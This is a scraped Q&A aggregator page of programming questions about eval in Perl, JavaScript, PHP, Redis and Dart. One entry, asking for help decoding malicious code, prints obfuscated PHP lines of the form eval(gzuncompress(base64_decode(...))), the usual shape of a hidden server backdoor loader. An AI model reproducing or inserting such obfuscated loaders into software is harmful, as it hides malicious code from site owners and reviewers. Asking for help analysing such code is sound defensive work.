eval

Should I put the “eval” in the subroutine or the subroutine in the “eval”?

谁都会走 提交于 2019-12-23 02:36:39
问题 Does one of these two ways have to be preferred or is it only a matter of taste? #!/usr/bin/env perl use warnings; use strict; use DBI; my $db = 'sqlite_db'; #################### A #################### sub get_database_handle { my ( $db ) = @_; my $dbh; eval { $dbh = DBI->connect( "DBI:SQLite:$db", '', '', {...} ) or die DBI->errstr; }; if ( $@ ) { print $@; return; } return $dbh; } DATABASES: while ( 1 ) { # choose a database from a list of databases # ... my $dbh = get_database_handle( $db

Why eval fails here?

烈酒焚心 提交于 2019-12-23 01:43:13
问题 0001: response $[0] = [string] "{\"code\":200,\"id\":121}" 0001: eval(response) SyntaxError: invalid label Anyone knows? 回答1: You have to wrap it in () to trigger expression evaluation, like this: eval("(" + response + ")") You can test it out here. Though a better method is native JSON handling: var result = JSON.parse(response); Just include json2.js for older browser (< IE8) support, the call is the same...it just adds the global JSON object if it's missing. 回答2: You need to wrap the JSON

Alternative for 'eval() uating' a condition

岁酱吖の 提交于 2019-12-22 13:30:39
问题 In the legacy codebase that I am working on, there is a condition evaluator which accepts user input to build a condition. This condition is then evaluated at run-time using php eval(). What is the best way to resolve this without using eval. For e.g. I have a condition "1>0" entered by the user in the UI. This has to evaluated and the result (true in this case) returned. Any suggestions? Let know if the problem seems vague, I would try and explain better. 回答1: The evalMath parser over on

Set Variable inside Eval (JavaScript)

牧云@^-^@ 提交于 2019-12-22 13:05:19
问题 i'm writing a GreaseMonkey script (using JQuery), and i need some variables that are set by a script in the original page, like this: <script type="text/javascript"> var rData = {"20982211":[1,0,1],"20981187":[8,0,4]}; </script> I fetch this element from another page and try to eval it, put strangely this doesn't work: $.get(link_url, null, function(data) { alert("1:" + rData); eval($(data).find("script").text()); alert("2:" + rData); } The strange thing is on the firebug console it works (i

PHP: Help decoding malicious code [closed]

二次信任 提交于 2019-12-22 10:17:56
问题 Closed. This question is off-topic. It is not currently accepting answers. Want to improve this question? Update the question so it's on-topic for Stack Overflow. Closed 6 years ago . eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM='))); eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ=='))); eval(gzuncompress(base64_decode(

PHP EVAL - Fixing an Insecurity

怎甘沉沦 提交于 2019-12-22 10:11:53
问题 We have a system that has to perform calculations that user input provides. The easiest way I have found to do one of those calculations is eval -- trying to figure out a parser for: (3 + 6 ) / 2 + 27 * 5 / 2 Just seems difficult. If anyone has a solution to this -- I would be happy to hear it. Assuming you are going with EVAL (I know its the dreaded function) it would be a major insecurity to allow them to type whatever they want in that box. So, I pose the question, if I did a regex

How do I execute Dynamically (like Eval) in Dart?

╄→尐↘猪︶ㄣ 提交于 2019-12-22 10:08:06
问题 Since getting started in Dart I've been watching for a way to execute Dart (Text) Source (that the same program may well be generating dynamically) as Code. Like the infamous "eval()" function. Recently I have caught a few hints that the communication port between Isolates support some sort of "Spawn" that seems like it could allow this "trick". In Ruby there is also the possibility to load a module dynamically as a language feature, perhaps there is some way to do this in Dart? Any clues or

Redis 脚本

心不动则不痛 提交于 2019-12-22 08:37:15
Redis 脚本 Redis 脚本使用 Lua 解释器来执行脚本。 Redis 2.6 版本通过内嵌支持 Lua 环境。执行脚本的常用命令为 EVAL 。 语法 Eval 命令的基本语法如下: redis 127.0.0.1:6379> EVAL script numkeys key [key ...] arg [arg ...] 实例 以下实例演示了 redis 脚本工作过程: redis 127.0.0.1:6379> EVAL "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second 1) "key1" 2) "key2" 3) "first" 4) "second" Redis 脚本命令 下表列出了 redis 脚本常用命令: 序号 命令及描述 1 EVAL script numkeys key [key ...] arg [arg ...] 执行 Lua 脚本。 2 EVALSHA sha1 numkeys key [key ...] arg [arg ...] 执行 Lua 脚本。 3 SCRIPT EXISTS script [script ...] 查看指定的脚本是否已经被保存在缓存当中。 4 SCRIPT FLUSH 从脚本缓存中移除所有脚本。 5 SCRIPT KILL

Proper way to execute JavaScript returned via AJAX (no jQuery)

£可爱£侵袭症+ 提交于 2019-12-22 08:06:31
问题 Say I get a response to a request for an AJAX load of data with a mix of JavaScript and HTML, e.g.: <script>window.alert('Hello World!');</script> <p>This is a paragraph. Lorem ipsum dolor sit amet...</p> If I just place that response into a div or other container, the script doesn't get executed automatically. I know this can be done via the eval() function (as noted in the example below), but eval is evil, so how can I do this properly? Note: I am not using jQuery. The following is an

Want to avoid eval in JavaScript -

百般思念 提交于 2019-12-22 06:52:02
问题 I am converting a string into a Google Blockly block, using JavaScript The input string is something like "Hello %s World" - where %s defines a string input. I need to turn that into: Blockly.Blocks['blockname'] = { init: function() { this.appendDummyInput() .appendField("Hello ") .appendField(new Blockly.FieldTextInput("input1"), "") .appendField(" World"); } }; But I'm not sure how to achieve this without using eval(), and as the input string is from the user, I understand that using eval()